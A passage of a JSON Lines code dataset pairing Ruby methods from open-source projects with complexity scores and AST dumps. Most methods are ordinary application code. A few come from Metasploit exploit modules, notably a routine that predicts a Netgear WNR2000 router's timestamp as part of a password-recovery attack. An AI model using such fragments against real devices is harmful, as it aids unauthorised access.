ren\":[\"App Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"c455f3d2-4694-44b4-880a-78698e8cf49a"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/tabular_form_builder.rb","start_line":199,"raw_source":"def container_wrap_field(field_html, selector, options = {})\n    ret = if options.delete(:no_field_container)\n            field_html\n          else\n            content_tag(:span, field_html, class: field_container_css_class(selector, options))\n          end\n\n    prefix, suffix = options.values_at(:prefix, :suffix)\n\n    if prefix\n      ret.prepend content_tag(:span,\n                              prefix.html_safe,\n                              class: \"form--field-affix\",\n                              id: options[:prefix_id],\n                              \"aria-hidden\": true)\n    end\n\n    if suffix\n      ret.concat content_tag(:span,\n                             suffix.html_safe,\n                             class: \"form--field-affix\",\n                             id: options[:suffix_id],\n                             \"aria-hidden\": true)\n    end\n\n    field_container_wrap_field(ret, options)\n  end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"container_wrap_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_html\"]},{\"type\":\"arg\",\"children\":[\"selector\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"no_field_container\"]}]},{\"type\":\"lvar\",\"children\":[\"field_html\"]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"lvar\",\"children\":[\"field_html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[null,\"field_container_css_class\",{\"type\":\"lvar\",\"children\":[\"selector\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\"]},{\"type\":\"lvasgn\",\"children\":[\"suffix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"values_at\",{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"sym\",\"children\":[\"suffix\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"prepend\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"html_safe\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"form--field-affix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prefix_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria-hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},\"html_safe\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"form--field-affix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"suffix_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria-hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"field_container_wrap_field\",{\"type\":\"lvar\",\"children\":[\"ret\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"0f17fd98-f2aa-4873-a1ba-74ba88efc49d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/zoom_meeting.rb","start_line":29,"raw_source":"def self.canonical_meeting_url(issue)\n    canonical_meeting(issue)&.url\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"canonical_meeting_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"canonical_meeting\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},\"url\"]}]}","id":"2c00ba01-0f13-4085-b2ff-539b5bfca0ef"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/application_helper.rb","start_line":14,"raw_source":"def flash_icon(type)\n    case type.to_sym\n    when :notice, :success then icon 'circle-check'\n    when :alert, :error then icon 'circle-x'\n    when :warning then icon 'circle-alert'\n    else\n      icon 'info'\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"flash_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"icon\",{\"type\":\"str\",\"children\":[\"circle-check\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"icon\",{\"type\":\"str\",\"children\":[\"circle-x\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"send\",\"children\":[null,\"icon\",{\"type\":\"str\",\"children\":[\"circle-alert\"]}]}]},{\"type\":\"send\",\"children\":[null,\"icon\",{\"type\":\"str\",\"children\":[\"info\"]}]}]}]}","id":"eeee04f4-706f-43be-9927-35fbf08137e5"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/notification.rb","start_line":178,"raw_source":"def dispatch_update_event\n    Rails.configuration.dispatcher.dispatch(NOTIFICATION_UPDATED, Time.zone.now, notification: self)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dispatch_update_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"dispatcher\"]},\"dispatch\",{\"type\":\"const\",\"children\":[null,\"NOTIFICATION_UPDATED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"f62b0e45-7c84-4fc0-90c3-cce315fc7277"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/shared_resource_deletion.rb","start_line":218,"raw_source":"def personal_access_token\n        @personal_access_token ||= begin\n          admin_token = ENV['GITLAB_QA_ADMIN_ACCESS_TOKEN']\n          user_token = ENV['GITLAB_QA_ACCESS_TOKEN']\n\n          if admin_token.blank? && user_token.blank?\n            abort(\"\\nPlease provide either GITLAB_QA_ADMIN_ACCESS_TOKEN or GITLAB_QA_ACCESS_TOKEN\")\n          end\n\n          token_type = admin_token.present? ? 'GITLAB_QA_ADMIN_ACCESS_TOKEN' : 'GITLAB_QA_ACCESS_TOKEN'\n          logger.info(\"Using #{token_type}...\")\n\n          admin_token || user_token\n        end\n      end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"personal_access_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@personal_access_token\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_QA_ADMIN_ACCESS_TOKEN\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_QA_ACCESS_TOKEN\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_token\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_token\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"abort\",{\"type\":\"str\",\"children\":[\"\\nPlease provide either GITLAB_QA_ADMIN_ACCESS_TOKEN or GITLAB_QA_ACCESS_TOKEN\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"token_type\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_token\"]},\"present?\"]},{\"type\":\"str\",\"children\":[\"GITLAB_QA_ADMIN_ACCESS_TOKEN\"]},{\"type\":\"str\",\"children\":[\"GITLAB_QA_ACCESS_TOKEN\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_type\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_token\"]},{\"type\":\"lvar\",\"children\":[\"user_token\"]}]}]}]}]}","id":"610c8355-0ce4-4570-9f1c-e05a59783ad2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250411131429_remove_namespace_columns.rb","start_line":6,"raw_source":"def up\n    remove_column :namespaces, :unlock_membership_to_ldap\n    remove_column :namespaces, :emails_disabled\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"sym\",\"children\":[\"unlock_membership_to_ldap\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"sym\",\"children\":[\"emails_disabled\"]}]}]}]}","id":"439fce97-62c5-40d6-9a07-6dd1c43435f4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/lookup_user_threads.rb","start_line":113,"raw_source":"def fetch_memberships(guardian:, threads:)\n      context[:memberships] = ::Chat::UserChatThreadMembership.where(\n        thread_id: threads.map(&:id),\n        user_id: guardian.user.id,\n      )\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_memberships\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"guardian\"]},{\"type\":\"kwarg\",\"children\":[\"threads\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"memberships\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"UserChatThreadMembership\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]},\"id\"]}]}]}]}]}]}","id":"7f4b72bf-d62d-48db-b319-8d578daea385"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190111183409_add_imap_fields_to_incoming_emails.rb","start_line":4,"raw_source":"def change\n    add_column :incoming_emails, :imap_uid_validity, :integer\n    add_column :incoming_emails, :imap_uid, :integer\n    add_column :incoming_emails, :imap_sync, :boolean\n\n    add_index :incoming_emails, :imap_sync\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"incoming_emails\"]},{\"type\":\"sym\",\"children\":[\"imap_uid_validity\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"incoming_emails\"]},{\"type\":\"sym\",\"children\":[\"imap_uid\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"incoming_emails\"]},{\"type\":\"sym\",\"children\":[\"imap_sync\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"incoming_emails\"]},{\"type\":\"sym\",\"children\":[\"imap_sync\"]}]}]}]}","id":"73a55ca7-5cc7-4dd6-b973-705afe8f9e08"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/issue_and_label_links_importer.rb","start_line":18,"raw_source":"def execute\n          IssueImporter.import_if_issue(issue, project, client)\n          LabelLinksImporter.new(issue, project, client).execute\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueImporter\"]},\"import_if_issue\",{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LabelLinksImporter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"client\"]}]},\"execute\"]}]}]}","id":"70c654fa-dcf0-4230-b7cb-0f4607975159"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/streaming_render_test.rb","start_line":23,"raw_source":"def buffered_render(options)\n    body = render_body(options)\n    string = +\"\"\n    body.each do |piece|\n      string << piece\n    end\n    string\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"buffered_render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"render_body\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"string\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"piece\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"piece\"]}]}]},{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}","id":"567bec79-41fe-4313-848b-829bba7cb00f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/filter.rb","start_line":11,"raw_source":"def available?\n          expect(locator(\".c-navbar__filter\")).to be_visible\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"locator\",{\"type\":\"str\",\"children\":[\".c-navbar__filter\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_visible\"]}]}]}","id":"c2df4c72-eb9a-4e6e-b7ed-2f948540416f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/dns.rb","start_line":53,"raw_source":"def commands\n    commands = {}\n\n    if framework.features.enabled?(Msf::FeatureManager::DNS)\n      commands = {\n        'dns' => \"Manage Metasploit's DNS resolving behaviour\"\n      }\n    end\n    commands\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commands\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"features\"]},\"enabled?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"FeatureManager\"]},\"DNS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"commands\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dns\"]},{\"type\":\"str\",\"children\":[\"Manage Metasploit's DNS resolving behaviour\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"commands\"]}]}]}","id":"ffe0c112-b45c-4b3a-8f16-04d5ba47e365"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/settings.rb","start_line":8,"raw_source":"def open\n      Setting.registrations_mode = 'open'\n      say('OK', :green)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"open\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"registrations_mode=\",{\"type\":\"str\",\"children\":[\"open\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"OK\"]},{\"type\":\"sym\",\"children\":[\"green\"]}]}]}]}","id":"cc8b5286-d13f-4575-af35-248d9947c6df"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/scim_v2/users_controller.rb","start_line":105,"raw_source":"def storage_scope\n      User\n        .left_joins(:groups, :user_auth_provider_links)\n        .includes(:groups, :user_auth_provider_links)\n        .not_builtin\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"left_joins\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"user_auth_provider_links\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"user_auth_provider_links\"]}]},\"not_builtin\"]}]}","id":"a8edcc78-5cd7-4823-b78f-a66616cf8323"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb","start_line":80,"raw_source":"def get_timestamp(time)\n    srandom_r time\n    t0 = random_r\n    t1 = 0x17dc65df\n    hi = (t0 * t1) >> 32\n    t2 = t0 >> 31\n    t3 = hi >> 23\n    t3 -= t2\n    t4 = t3 * 0x55d4a80\n    t0 -= t4\n    t0 += 0x989680\n\n    ieee754_round(t0)\n  end","complexity_score":21.95,"ast_json":"{\"type\":\"def\",\"children\":[\"get_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srandom_r\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t0\",{\"type\":\"send\",\"children\":[null,\"random_r\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t1\",{\"type\":\"int\",\"children\":[400319967]}]},{\"type\":\"lvasgn\",\"children\":[\"hi\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t0\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"t1\"]}]}]},\">>\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t2\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t0\"]},\">>\",{\"type\":\"int\",\"children\":[31]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t3\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hi\"]},\">>\",{\"type\":\"int\",\"children\":[23]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t3\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"t2\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t4\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t3\"]},\"*\",{\"type\":\"int\",\"children\":[90000000]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t0\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"t4\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t0\"]},\"+\",{\"type\":\"int\",\"children\":[10000000]}]},{\"type\":\"send\",\"children\":[null,\"ieee754_round\",{\"type\":\"lvar\",\"children\":[\"t0\"]}]}]}]}","id":"06591a83-3d36-4614-b5d8-a819f0718b92"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/base_service.rb","start_line":110,"raw_source":"def source_project\n      @source_project ||= merge_request.source_project\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"source_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"source_project\"]}]}]}","id":"ae830e9c-9853-471d-aa9c-0b1588089b46"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/pptp/poptop_negative_read.rb","start_line":95,"raw_source":"def payload_space(_explicit_target = nil)\n    datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_space\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_explicit_target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PreReturnLength\"]}]},\"to_i\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ExtraSpace\"]}]},\"to_i\"]}]}]}","id":"b283f312-0d40-42b8-8914-75c15145c206"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/runner.rb","start_line":101,"raw_source":"def run_rspec(args)\n        full_arg_list = [*args, \"--\", *rspec_paths]\n\n        if rspec_paths.empty?\n          Runtime::Logger.error(\"Scenario #{Runtime::Scenario.klass} has no specs to run!\")\n          Runtime::Logger.error(\"Check if all tests have been filtered out by custom spec pattern!\")\n\n          abort\n        end\n\n        if Runtime::Scenario.attributes[:count_examples_only]\n          count_examples_only(full_arg_list)\n        elsif Runtime::Scenario.attributes[:test_metadata_only]\n          test_metadata_only(full_arg_list)\n        elsif Runtime::Env.knapsack?\n          KnapsackRunner.run(args, rspec_paths, example_data, parallel: run_in_parallel?) do |status|\n            abort if status.nonzero?\n          end\n        elsif run_in_parallel?\n          ParallelRunner.run(args, rspec_paths, example_data)\n        elsif Runtime::Scenario.attributes[:loop]\n          LoopRunner.run(full_arg_list)\n        else\n          RSpec::Core::Runner.run(full_arg_list, *DEFAULT_STD_ARGS).tap do |status|\n            abort if status.nonzero?\n          end\n        end\n      end","complexity_score":55.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run_rspec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_arg_list\",{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rspec_paths\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rspec_paths\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Scenario \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"klass\"]}]},{\"type\":\"str\",\"children\":[\" has no specs to run!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"error\",{\"type\":\"str\",\"children\":[\"Check if all tests have been filtered out by custom spec pattern!\"]}]},{\"type\":\"send\",\"children\":[null,\"abort\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"count_examples_only\"]}]},{\"type\":\"send\",\"children\":[null,\"count_examples_only\",{\"type\":\"lvar\",\"children\":[\"full_arg_list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"test_metadata_only\"]}]},{\"type\":\"send\",\"children\":[null,\"test_metadata_only\",{\"type\":\"lvar\",\"children\":[\"full_arg_list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"knapsack?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KnapsackRunner\"]},\"run\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"rspec_paths\"]},{\"type\":\"send\",\"children\":[null,\"example_data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel\"]},{\"type\":\"send\",\"children\":[null,\"run_in_parallel?\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"nonzero?\"]},{\"type\":\"send\",\"children\":[null,\"abort\"]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\